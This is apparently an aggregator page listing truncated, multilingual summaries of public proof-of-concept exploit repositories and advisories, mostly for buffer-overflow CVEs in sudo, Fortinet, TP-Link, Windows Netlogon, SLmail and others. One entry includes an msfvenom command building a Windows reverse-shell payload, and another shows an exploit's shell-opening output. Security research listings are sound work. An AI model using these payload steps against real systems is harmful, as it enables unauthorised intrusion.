CVE-2021-3156

CVE-2021-3156 - Sudo में हीप-आधारित बफर अतिप्रवाह ⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए मूल एक्सप्लॉइट लेखक मूल PoC लेखक Qualys Research Team के प्रति बहुत आभारी हैं विवरण Sudo 1.9.5p2 से पहले एक ऑफ-बाय-वन त्रुटि होती है जो हीप-आधारित बफर अतिप्रवाह का कारण बन सकती है, जो...

CVE-2025-32756-POC

CVE-2025-32756: Fortinet RCE PoC Fortinet उत्पादों को प्रभावित करने वाली गंभीर स्टैक-आधारित बफर ओवरफ्लो भेद्यता CVE-2025-32756 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट। भेद्यता CVSS : 9.8 क्रिटिकल प्रकार : AuthHash कुकी प्रोसेसिंग में स्टैक-आधारित बफर ओवरफ्लो प्रभाव : बिना प्रमाणीकरण के रिमोट कोड निष्पादन...

telnet_scan

Scanner de vulnérabilités Telnet CVE-2026-24061 & CVE-2026-32746 Un outil d'évaluation de sécurité basé sur Python qui détecte et le cas échéant exploite deux vulnérabilités critiques dans GNU InetUtils telnetd : CVE-2026-24061 – Contournement d'authentification par injection de variable...

cve-2022-42475-poc

CVE-2022-42475 PoC Fortinet SSL VPN Pre-Authentication Remote Code Execution Descripción CVE-2022-42475 es una vulnerabilidad de heap-based buffer overflow en el servicio SSL VPN de FortiOS que permite a atacantes no autenticados ejecutar código arbitrario de forma remota RCE mediante solicitudes...

CVE-2021-3156-Baron-Samedit

CVE-2021-3156 - "Baron Samedit" 实验与利用 该仓库提供了一个自包含的教学环境，用于理解和利用 CVE-2021-3156 ，这是 sudo 中一个基于堆的缓冲区溢出漏洞，允许任何非特权用户在受影响系统（sudo 版本低于 1.9.5p2）上获取 root 权限。 本材料仅用于授权的安全培训与研究 。 在未经授权的系统上使用本材料进行非道德操作是违法的。 仓库内容 Dockerfile - 构建带 sudo 1.8.31（含漏洞）的 Ubuntu 20.04 容器 exploit.c - 主要利用载荷（针对 Ubuntu 20.04 适配）...

cve-2026-25994_PJSIP

CVE-2026-25994 – Переполнение стека буфера в ICE PJNATH pjsip ≤ 2.16 Обзор CVE-2026-25994 — это уязвимость переполнения стека буфера, затрагивающая реализацию ICE Interactive Connectivity Establishment в pjsip ≤ 2.16, а именно в компоненте PJNATH. Уязвимость находится в функции:...

CVE-2026-41089

CVE-2026-41089 — Windows Netlogon CLDAP Stack Buffer Overflow RCE Exploit CVE-ID: CVE-2026-41089 CVSS: 9.8 Critical CWE: CWE-121 Stack-based Buffer Overflow Angriffsvektor: UDP/389 CLDAP SearchRequest Auswirkung: Remote Code Execution RCE / Denial of Service DoS Betroffene Versionen: Windows Serv...

CVE-2025-40634

CVE-2025-40634 O roteador TP-Link Archer AX50 é vulnerável a um estouro de buffer baseado em pilha na versão de firmware 1.0.14 Build 20240108 rel.426554555, levando à execução remota de código tanto na LAN quanto na WAN. Essa vulnerabilidade tem a mesma causa raiz do CVE-2020-10881, descoberta...

CVE-2009-3999

CVE-2009-3999 Exploit do HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASSO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b...

pytm

pytm: A Pythonic framework for threat modeling Introduction Traditional threat modeling too often comes late to the party, or sometimes not at all. In addition, creating manual data flows and reports can be extremely time-consuming. The goal of pytm is to shift threat modeling to the left, making...

CVE-2003-0264

CVE-2003-0264 Эксплойт для переполнения буфера в SLmail 5.5 CVE-2003-0264 Основано на: https://github.com/Gallopsled/pwntools https://github.com/rapid7/metasploit-framework Пример вывода: root@kitploit: $ ./slmail-into-shell.py + Opening connection to 192.168.15.100 on port 110: Done + Trying to...

CVE-2017-11882

Aperçu de CVE-2017-11882 Du point de vue de l'exploitation, il peut toucher toutes les versions d'Office de 2003 à 2016, et la mise en place de l'environnement d'attaque est très simple. Cette vulnérabilité est causée par l'Éditeur d'équations dans Office. Comme le processus de l'éditeur ne vérif...

CVE-2017-1000112-PoC

CVE-2017-1000112Overflow del buffer scarica l'immagine iso da https://old-releases.ubuntu.com/releases/16.10/ubuntu-16.10-server-amd64.iso gcc exploit.c -o exploit ottenuto root...

CVE-Exploitation-Reports

Rapports d'exploitation CVE Rapports d'exploitation CVE : CVE-2007-3280, CVE-2017-0144, CVE-2019-0708 Ce dépôt contient des rapports d'exploitation détaillés pour les vulnérabilités et expositions communes CVE suivantes : CVE-2007-3280 : Une vulnérabilité de débordement de tampon dans le contrôle...

CVE-2021-3156

CVE-2021-3156: Heap-basierter Pufferüberlauf in Sudo Baron Samedit Root-Exploit ohne BruteForce Alle Forschungscredits: Qualys Research Team Weitere Details finden Sie in ihrem Blog. Manuell installiertes Ubuntu 20.04 LTS und Sudo Version 1.8.31 auf einem Docker-Container zu Testzwecken und...

CVE-2023-29929

CVE-2023-29929: Remote "Instakill" DoS in Kemp LoadMaster per DNS-Paket Kemp LoadMaster-Geräte Firmware 7.2.60 leiden unter einer kritischen Pufferüberlauf-Schwachstelle in den Methoden isreverse und locatefqdn der Bibliothek libkemplink.so. Die Schwachstelle resultiert aus einem zu kleinen...

CVE-2019-1663-Binary-Analysis

Binäranalyse von CVE-2019-1663 Autor: Corentin Wolff Ursprung der Schwachstelle Quelle der Schwachstelle Die Schwachstelle stammt von der Funktion 0x0002BF64, die die strcpy-Funktion missbraucht, was sie anfällig für Pufferüberlauf-Angriffe macht. Zur Klarheit wurde diese Funktion in Login...

EUVD-2026-66805

HCL BigFix Quantum Risk Analyzer binary lacks several critical, industry-standard hardening protections that could allow an attacker to cause a stack-based buffer overflow...

cve-2025-22457

CVE-2025-22457 Simulação: Análise de Stack-Based Buffer Overflow Este projeto envolve a simulação em ambiente laboratorial, análise de engenharia reversa e exploração Exploitation da vulnerabilidade Stack-Based Buffer Overflow decorrente da falta de validação de entrada em sistemas embarcados...

RLSA-2026:50773 Important: ruby4.0 security, bug fix, and enhancement update

Ruby is the interpreted scripting language for quick and easy object-oriented programming. It has many features to process text files and to do system management tasks as in Perl. It is simple, straight-forward, and extensible. Security Fixes: zlib: zlib: Memory corruption via buffer overflow in...